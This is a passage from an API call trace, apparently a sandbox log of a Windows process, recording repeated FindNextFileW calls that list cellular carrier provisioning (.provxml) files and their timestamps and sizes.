ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="146__C~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="147__C~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="148__C~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="149__C~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", cAlternateFileName="14__CO~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="150__C~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="151__C~1.PRO")) returned 1 [0273.222] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="152__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", cAlternateFileName="153__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="154__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="155__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="156__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="157__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="158__C~1.PRO")) returned 1 [0273.223] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="159__C~1.PRO")) returned 1 [0273.224] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", cAlternateFileName="15__CO~1.PRO")) returned 1 [0273.224] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="160__C~1.PRO")) returned 1 [0273.224] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="161__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x0, dwReserved1=0x0, cFileName="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="162__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="163__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="164__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="165__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="166__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="167__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="168__C~1.PRO")) returned 1 [0273.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="169__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", cAlternateFileName="16__CO~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="170__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="171__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="172__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="173__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="174__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="175__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", cAlternateFileName="176__C~1.PRO")) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", cAlternateFileName="177__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", cAlternateFileName="178__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", cAlternateFileName="179__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", cAlternateFileName="17__CO~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", cAlternateFileName="180__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="181__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="182__C~1.PRO")) returned 1 [0273.235] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, 